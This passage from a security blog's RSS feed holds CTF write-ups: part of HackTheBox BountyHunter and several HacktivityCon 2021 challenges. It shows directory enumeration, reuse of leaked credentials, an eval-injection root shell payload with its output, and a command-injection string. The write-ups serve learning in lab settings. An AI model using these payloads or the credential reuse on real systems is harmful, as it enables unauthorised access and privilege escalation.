</span></span><span style="display:flex;"><span>[ ] Disable &#39;test&#39; account on portal and switch to hashed password. Disable nopass.
</span></span><span style="display:flex;"><span>[X] Write tracker submit script
</span></span><span style="display:flex;"><span>[ ] Connect tracker submit script to the database
</span></span><span style="display:flex;"><span>[X] Fix developer group permissions
</span></span></code></pre></div><ul>
<li>Come to think of it, this website&rsquo;s root directory (located at<code>/var/www/html</code> I guess? Since it&rsquo;s an Apache sever after all) must have something that I&rsquo;d missed</li>
<li>So I ran Gobuster and patiently waited for a good hour</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>aki㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/BountyHunter<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ gobuster dir --follow-redirect -e -u http://10.10.11.100 -o gobuster.txt -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt 
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>Gobuster v3.1.0
</span></span><span style="display:flex;"><span>by OJ Reeves <span style="color:#f92672">(</span>@TheColonial<span style="color:#f92672">)</span> &amp; Christian Mehlmauer <span style="color:#f92672">(</span>@firefart<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Url:                     http://10.10.11.100
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Method:                  GET
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Threads:                 <span style="color:#ae81ff">10</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Negative Status codes:   <span style="color:#ae81ff">404</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> User Agent:              gobuster/3.1.0
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Follow Redirect:         true
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Expanded:                true
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>+<span style="color:#f92672">]</span> Timeout:                 10s
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>2021/09/28 21:51:31 Starting gobuster in directory enumeration mode
</span></span><span style="display:flex;"><span><span style="color:#f92672">===============================================================</span>
</span></span><span style="display:flex;"><span>http://10.10.11.100/resources            <span style="color:#f92672">(</span>Status: 200<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 2840<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>http://10.10.11.100/assets               <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 277<span style="color:#f92672">]</span> 
</span></span><span style="display:flex;"><span>http://10.10.11.100/css                  <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 277<span style="color:#f92672">]</span> 
</span></span><span style="display:flex;"><span>http://10.10.11.100/js                   <span style="color:#f92672">(</span>Status: 403<span style="color:#f92672">)</span> <span style="color:#f92672">[</span>Size: 277<span style="color:#f92672">]</span> 
</span></span><span style="display:flex;"><span>...
</span></span></code></pre></div><ul>
<li>It ran quite fast at the start, and quite a lot of errors at the end. But after all, it revealed a <code>/db.php</code> file, which sounds really exciting</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_last_burp.png#center" alt="">


<!-- raw HTML omitted --></p>
<ul>
<li>And finally, it returned some very useful stuffs.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-php" data-lang="php"><span style="display:flex;"><span><span style="color:#f92672">&lt;?</span><span style="color:#a6e22e">php</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">// TODO -&gt; Implement login system with the database.
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>$dbserver <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;localhost&#34;</span>;
</span></span><span style="display:flex;"><span>$dbname <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;bounty&#34;</span>;
</span></span><span style="display:flex;"><span>$dbusername <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;admin&#34;</span>;
</span></span><span style="display:flex;"><span>$dbpassword <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;m19RoAU0hP41A1sTsq6K&#34;</span>;
</span></span><span style="display:flex;"><span>$testuser <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;test&#34;</span>;
</span></span><span style="display:flex;"><span><span style="color:#75715e">?&gt;</span><span style="color:#960050;background-color:#1e0010">
</span></span></span></code></pre></div><ul>
<li>Getting a database&rsquo;s credentials but cannot logging in is like having your room&rsquo;s key but the house key is nowhere to be found - not that much of use</li>
<li>I tried with some combinations from those credentials on SSH, but seems like none of that was correct</li>
<li>A certain <code>passwd</code> user list that I got from XXE earlier flashed through my mind, so I tried my luck</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>┌──<span style="color:#f92672">(</span>aki㉿kali<span style="color:#f92672">)</span>-<span style="color:#f92672">[</span>~/ctf/htb/BountyHunter<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>└─$ grep home passwd.txt 
</span></span><span style="display:flex;"><span>syslog:x:104:110::/home/syslog:/usr/sbin/nologin
</span></span><span style="display:flex;"><span>development:x:1000:1000:Development:/home/development:/bin/bash
</span></span></code></pre></div><ul>
<li>That <code>development</code> user looks interesting, so I tried it with the database credentials</li>
</ul>
<p>
  <img src="/img/bountyhunter/bountyhunter_ssh_login.png#center" alt="">


<!-- raw HTML omitted --></p>
<ul>
<li>And we got it! The user flag!
<!-- raw HTML omitted --></li>
</ul>
<h2 id="ii-privilege-escalation">II. Privilege escalation</h2>
<ul>
<li>5 seconds in and I&rsquo;d already known what I was going to do:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>development@bountyhunter:~$ sudo -l
</span></span><span style="display:flex;"><span>Matching Defaults entries <span style="color:#66d9ef">for</span> development on bountyhunter:
</span></span><span style="display:flex;"><span>    env_reset, mail_badpass, secure_path<span style="color:#f92672">=</span>/usr/local/sbin<span style="color:#ae81ff">\:</span>/usr/local/bin<span style="color:#ae81ff">\:</span>/usr/sbin<span style="color:#ae81ff">\:</span>/usr/bin<span style="color:#ae81ff">\:</span>/sbin<span style="color:#ae81ff">\:</span>/bin<span style="color:#ae81ff">\:</span>/snap/bin
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>User development may run the following commands on bountyhunter:
</span></span><span style="display:flex;"><span>    <span style="color:#f92672">(</span>root<span style="color:#f92672">)</span> NOPASSWD: /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py
</span></span></code></pre></div><ul>
<li>Okay so we could run that <code>ticketValidator.py</code> file as root, and&hellip;</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>development@bountyhunter:~$ ls -l /opt/skytrain_inc/ticketValidator.py 
</span></span><span style="display:flex;"><span>-r-xr--r-- <span style="color:#ae81ff">1</span> root root <span style="color:#ae81ff">1471</span> Jul <span style="color:#ae81ff">22</span> 11:08 /opt/skytrain_inc/ticketValidator.py
</span></span></code></pre></div><ul>
<li>It didn&rsquo;t looks like we can modify that file anyway. So let&rsquo;s cat it out and see what&rsquo;s what.</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>development@bountyhunter:~$ cat /opt/skytrain_inc/ticketValidator.py 
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Skytrain Inc Ticket Validation System 0.1</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e">#Do not distribute this file.</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>def load_file<span style="color:#f92672">(</span>loc<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> loc.endswith<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;.md&#34;</span><span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">return</span> open<span style="color:#f92672">(</span>loc, <span style="color:#e6db74">&#39;r&#39;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        print<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Wrong file type.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>        exit<span style="color:#f92672">()</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>def evaluate<span style="color:#f92672">(</span>ticketFile<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">#Evaluates a ticket to check for ireggularities.</span>
</span></span><span style="display:flex;"><span>    code_line <span style="color:#f92672">=</span> None
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">for</span> i,x in enumerate<span style="color:#f92672">(</span>ticketFile.readlines<span style="color:#f92672">())</span>:
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> i <span style="color:#f92672">==</span> 0:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> not x.startswith<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;# Skytrain Inc&#34;</span><span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> False
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> i <span style="color:#f92672">==</span> 1:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> not x.startswith<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;## Ticket to &#34;</span><span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> False
</span></span><span style="display:flex;"><span>            print<span style="color:#f92672">(</span>f<span style="color:#e6db74">&#34;Destination: {&#39; &#39;.join(x.strip().split(&#39; &#39;)[3:])}&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> x.startswith<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;__Ticket Code:__&#34;</span><span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>            code_line <span style="color:#f92672">=</span> i+1
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">continue</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>        <span style="color:#66d9ef">if</span> code_line and i <span style="color:#f92672">==</span> code_line:
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> not x.startswith<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;**&#34;</span><span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">return</span> False
</span></span><span style="display:flex;"><span>            ticketCode <span style="color:#f92672">=</span> x.replace<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;**&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">)</span>.split<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;+&#34;</span><span style="color:#f92672">)[</span>0<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>            <span style="color:#66d9ef">if</span> int<span style="color:#f92672">(</span>ticketCode<span style="color:#f92672">)</span> % 7 <span style="color:#f92672">==</span> 4:
</span></span><span style="display:flex;"><span>                validationNumber <span style="color:#f92672">=</span> eval<span style="color:#f92672">(</span>x.replace<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;**&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span><span style="color:#f92672">))</span>
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">if</span> validationNumber &gt; 100:
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> True
</span></span><span style="display:flex;"><span>                <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>                    <span style="color:#66d9ef">return</span> False
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">return</span> False
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>def main<span style="color:#f92672">()</span>:
</span></span><span style="display:flex;"><span>    fileName <span style="color:#f92672">=</span> input<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Please enter the path to the ticket file.\n&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    ticket <span style="color:#f92672">=</span> load_file<span style="color:#f92672">(</span>fileName<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#75715e">#DEBUG print(ticket)</span>
</span></span><span style="display:flex;"><span>    result <span style="color:#f92672">=</span> evaluate<span style="color:#f92672">(</span>ticket<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">if</span> <span style="color:#f92672">(</span>result<span style="color:#f92672">)</span>:
</span></span><span style="display:flex;"><span>        print<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Valid ticket.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    <span style="color:#66d9ef">else</span>:
</span></span><span style="display:flex;"><span>        print<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;Invalid ticket.&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span>    ticket.close
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>main<span style="color:#f92672">()</span>
</span></span></code></pre></div><ul>
<li>Before breaking something, we&rsquo;ve to understand how it works first. So I wrote a perfectly valid &ldquo;ticket&rdquo; for the script:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-md" data-lang="md"><span style="display:flex;"><span># Skytrain Inc
</span></span><span style="display:flex;"><span><span style="color:#75715e">## Ticket to BountyHunter and friends
</span></span></span><span style="display:flex;"><span><span style="color:#75715e"></span>__Ticket Code:__
</span></span><span style="display:flex;"><span>**11+90
</span></span></code></pre></div><!-- raw HTML omitted -->
<ul>
<li>And it worked as it should:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>development@bountyhunter:~$ sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py 
</span></span><span style="display:flex;"><span>Please enter the path to the ticket file.
</span></span><span style="display:flex;"><span>/home/development/ticket.md
</span></span><span style="display:flex;"><span>Destination: BountyHunter and friends
</span></span><span style="display:flex;"><span>Valid ticket.
</span></span></code></pre></div><ul>
<li>Now the real question is - how to exploit this &ldquo;ticket&rdquo; function</li>
<li>The only line that caught my attention was this particular line:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>validationNumber <span style="color:#f92672">=</span> eval(x<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;**&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>))
</span></span></code></pre></div><p>Yes, that <code>eval</code>.</p>
<ul>
<li>As far as I knew, <code>eval</code> can only be used with Python&rsquo;s <code>expressions</code>, not <code>statements</code>. But a little bit of experience in Python can lead you to this:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> eval(exec(<span style="color:#e6db74">&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;</span>))
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">┌──</span>(aki<span style="color:#960050;background-color:#1e0010">㉿</span>kali)<span style="color:#f92672">-</span>[<span style="color:#f92672">~</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">└─$</span> 
</span></span></code></pre></div><ul>
<li>The only obstacle in our way was this 2 lines:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span>ticketCode <span style="color:#f92672">=</span> x<span style="color:#f92672">.</span>replace(<span style="color:#e6db74">&#34;**&#34;</span>, <span style="color:#e6db74">&#34;&#34;</span>)<span style="color:#f92672">.</span>split(<span style="color:#e6db74">&#34;+&#34;</span>)[<span style="color:#ae81ff">0</span>]
</span></span><span style="display:flex;"><span><span style="color:#66d9ef">if</span> int(ticketCode) <span style="color:#f92672">%</span> <span style="color:#ae81ff">7</span> <span style="color:#f92672">==</span> <span style="color:#ae81ff">4</span>:
</span></span></code></pre></div><ul>
<li>Basically, before we could get our sweet reverse shell, we need to bypass this check first</li>
<li>Of those 2 lines, the first one defined a <code>ticketCode</code> variable which is equal to the first part of our payload, before the first &ldquo;+&rdquo; sign, excluding all &ldquo;**&rdquo;. If we just insert our payload there, it wouldn&rsquo;t be able to be converted to <code>int</code> type and therefore, that <code>eval</code> statement would be ignored</li>
<li>However, <code>exec</code> in Python3 actually does return something. So I tried this:</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-python" data-lang="python"><span style="display:flex;"><span><span style="color:#f92672">&gt;&gt;&gt;</span> eval(<span style="color:#ae81ff">11</span><span style="color:#f92672">+</span>exec(<span style="color:#e6db74">&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;</span>))
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">┌──</span>(aki<span style="color:#960050;background-color:#1e0010">㉿</span>kali)<span style="color:#f92672">-</span>[<span style="color:#f92672">~</span>]
</span></span><span style="display:flex;"><span><span style="color:#960050;background-color:#1e0010">└─$</span> 
</span></span></code></pre></div><p>perfect. &lsquo;^&rsquo;</p>
<ul>
<li>So our full payload was:</li>
</ul>
<pre tabindex="0"><code># Skytrain Inc
## Ticket to BountyHunter and friends
__Ticket Code:__
**11+exec(&#34;import pty; pty.spawn(&#39;/bin/bash&#39;)&#34;)
</code></pre><ul>
<li>Let&rsquo;s try out if it worked</li>
</ul>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>development@bountyhunter:~$ sudo -u root /usr/bin/python3.8 /opt/skytrain_inc/ticketValidator.py 
</span></span><span style="display:flex;"><span>Please enter the path to the ticket file.
</span></span><span style="display:flex;"><span>/home/development/ticket.md
</span></span><span style="display:flex;"><span>Destination: BountyHunter and friends
</span></span><span style="display:flex;"><span>root@bountyhunter:/home/development# whoami
</span></span><span style="display:flex;"><span>root
</span></span></code></pre></div><ul>
<li>And that&rsquo;s it, a great challenge to learn about XXE.</li>
</ul>
]]></content:encoded>
    </item>
    <item>
      <title>Easy Hacktivitycon Challenges writeup</title>
      <link>https://www.akihakune.com/blog/hacktivitycon/</link>
      <pubDate>Fri, 12 Nov 2021 14:33:03 +0700</pubDate>
      <guid>https://www.akihakune.com/blog/hacktivitycon/</guid>
      <description>Writeups for some easy challenges in hacktivitycon 2021</description>
      <content:encoded><![CDATA[<h2 id="warmups---tsunami">Warmups - Tsunami</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_tsunami.png#center" alt="">

</p>
<p>Downloading the file and running <code>file</code> command, we get its file type - an audio file.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_tsunami_filetype.png#center" alt="">

</p>
<p>Let&rsquo;s think simple, and straight up open it in an audio editor - here I choose the open-source Audacity.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_tsunami_writeup.png#center" alt="">

</p>
<p>And that&rsquo;s it, we got the flag!</p>
<h2 id="warmups---pimple">Warmups - Pimple</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_pimple.png#center" alt="">

</p>
<p>Follow the exact same procedure as Tsunami, we have:</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_pimple_filetype.png#center" alt="">

</p>
<p>Okay so what&rsquo;s a GIMP XCF image? A quick Google search led me to <a href="https://askubuntu.com/questions/460107/how-to-convert-an-xcf-file-image-to-jpeg-or-png">some interesting information</a>, including the <a href="https://www.gimp.org/tutorials/AutomatedJpgToXcf/">official documentation</a>. Following <a href="https://www.lifewire.com/xcf-file-2622449">this great article</a>, I tried to use an <a href="https://www.zamzar.com/">online converter</a> but it did not seems to work&hellip;</p>
<p>So let&rsquo;s check GIMP package size, power off our attack machine, take a snapshot, then power it on again and <code>sudo apt install gimp</code>.</p>
<p>Renaming the file to <code>pimple.xcf</code> and open it in GIMP, we got the flag.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_pimple_writeup.png#center" alt="">

</p>
<p>&hellip; Those morose eyes were exactly like mine when I worked on some challenges.</p>
<h2 id="warmups---bass64">Warmups - Bass64</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_bass64.png#center" alt="">

</p>
<p>Oh, once again, hello John.
<!-- raw HTML omitted --></p>
<p>This challenge here is pretty straight-forward. Download the file, open it, then resize our editor window to a suitable dimension, we have</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_bass64_writeup.png#center" alt="">

</p>
<p>Directly <a href="https://www.base64decode.org/">base64 decoding it</a>, we instantly got the flag.</p>
<h2 id="warmups---read-the-rules">Warmups - Read The Rules</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_read_the_rules.png#center" alt="">

</p>
<p>As they said, please be a civilized player and <a href="https://ctf.hacktivitycon.com/rules">read the rules</a>. The flag&rsquo;s in the source code.</p>
<h2 id="warmups---2ez">Warmups - 2EZ</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_2ez.png#center" alt="">

</p>
<p>Another challenge from John. Let&rsquo;s follow our procedure from previous challenges.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_2ez_filetype.png#center" alt="">

</p>
<p>Seems like our <code>file</code> command did not have much use here. Let&rsquo;s try <code>strings</code>.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_2ez_strings.png#center" alt="">

</p>
<p><code>JFIF</code>&hellip; so it should be an <a href="https://fileinfo.com/extension/jfif">image file</a>. Renaming its extension to <code>jpg</code> or <code>gif</code> didn&rsquo;t solve anything, and <a href="https://www.archives.gov/files/applied-research/papers/unix-file-command.pdf">file command&rsquo;s magic</a> also didn&rsquo;t recognize the file&rsquo;s type. So <a href="https://en.wikipedia.org/wiki/File_signature">its file signature</a> must be wrong.</p>
<p>Open it up in a hex editor, we can clearly see our guess was right.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_2ez_hexedit.png#center" alt="">

</p>
<p>So we change the first 4 bytes <a href="https://www.filesignatures.net/index.php?page=search&amp;search=JFIF&amp;mode=EXT">accordingly to JFIF file signature</a> and we got the flag!</p>
<h2 id="web---swaggy">Web - Swaggy</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_swaggy.png#center" alt="">

</p>
<p>Following the url, we got to a pretty clean website.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_swaggy_site.png#center" alt="">

</p>
<p>Messing around a bit, we knew that this site use the GUI to make <code>curl</code> GET request to an API endpoint. <code>Execute</code> sent a HTTP GET request to the endpoint, but it required basic authentication, encoded in base64. I tried with &lsquo;user:password&rsquo; but it returned 403: <code>Invalid credentials</code>.
<!-- raw HTML omitted --></p>
<p>So, I tried another default creadential - &lsquo;admin:admin&rsquo;. And to my surprise - it returned the flag quite easily.

  <img src="/img/hacktivitycon/hacktivitycon_swaggy_writeup.png#center" alt="">

</p>
<h2 id="web---titanic">Web - Titanic</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_titanic.png#center" alt="">

</p>
<p>Following the url, we got to a website with pretty decent UI. On a side note, you should really press that <a href="https://youtu.be/dQw4w9WgXcQ">&lsquo;Watch Video&rsquo; button</a>, quite informative.</p>
<p>Right at the top of nav bar, we got the admin panel.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_titanic_admin.png#center" alt="">

</p>
<p>I tried some common credentials, as well as checking the source code and requests, but nothing particularly interesting found, except that it used GET for authentication, which&rsquo;s specially unrecommendable. So I returned to the home page and it led me to another engrossing service.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_titanic_urlcapturer.png#center" alt="">


<!-- raw HTML omitted --></p>
<p>I tried with <a href="https://google.com">https://google.com</a> and it returned something like a screenshot image of Google. A flashback of <a href="https://youtu.be/V_7ubkfnPK4">HTB&rsquo;s Love box</a>, and I tried if it could also take a capture of local network sites.
<!-- raw HTML omitted --></p>
<p>So it got me a glimpse on a loading page, which&rsquo;s not much of use in this case. I checked <a href="https://www.wappalyzer.com/">Wappalyzer</a> and found out that the server ran on Apache. A quick Google search revealed that <a href="https://httpd.apache.org/docs/2.4/mod/mod_status.html">Apache servers have a default server-status site</a> which can be useful for log checking.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_titanic_log.png#center" alt="">


<!-- raw HTML omitted --></p>
<p>And it actually did! Based on the requests&rsquo; parameters, we got an user&rsquo;s credential. Logging in that account, we got the flag.</p>
<h2 id="web---confidentiality">Web - Confidentiality</h2>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_confidentiality.png#center" alt="">

</p>
<p>Another John Hammond&rsquo;s challenge it seems.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_confidentiality_site.png#center" alt="">


<!-- raw HTML omitted --></p>
<p>So I just followed the placeholder and it gave me something that looks like a <code>ls -l</code> result.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_confidentiality_host.png#center" alt="">


<!-- raw HTML omitted --></p>
<p>Looks like this site just run whatever command we want in a bash, provided that it starts with <code>ls -l</code>. So here comes the payload.</p>
<p>
  <img src="/img/hacktivitycon/hacktivitycon_confidentiality_writeup.png#center" alt="">

</p>
<p>And that&rsquo;s it, we got the flag. You can also <a href="https://stackoverflow.com/questions/6152659/bash-sh-difference-between-and">use <code>.; cat flag.txt</code></a> if you like.</p>
]]></content:encoded>
    </item>
    <item>
      <title>Profile</title>
      <link>https://www.akihakune.com/profile/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://www.akihakune.com/profile/</guid>
      <description>Aki loves technology and hate deadlines. His skills specialize in system administration and cyber security areas. He also develop software out of his personal needs. He interests in computer, space, the future of humanity, and lately, entrepreneurship. His goal is to make humanity an interplanetary species. Currently he is trying to put out a blog post every week.</description>
    </item>
    <item>
      <title>Static resources</title>
      <link>https://www.akihakune.com/static-resources/</link>
      <pubDate>Mon, 01 Jan 0001 00:00:00 +0000</pubDate>
      <guid>https://www.akihakune.com/static-resources/</guid>
      <description>Symlinks to shared static files</description>
      <content:encoded><![CDATA[<p>Static downloadable files will be served here.</p>
<p>For the time being, there&rsquo;s been no static file yet.</p>
]]></content:encoded>
    </item>
  </channel>
</rss>
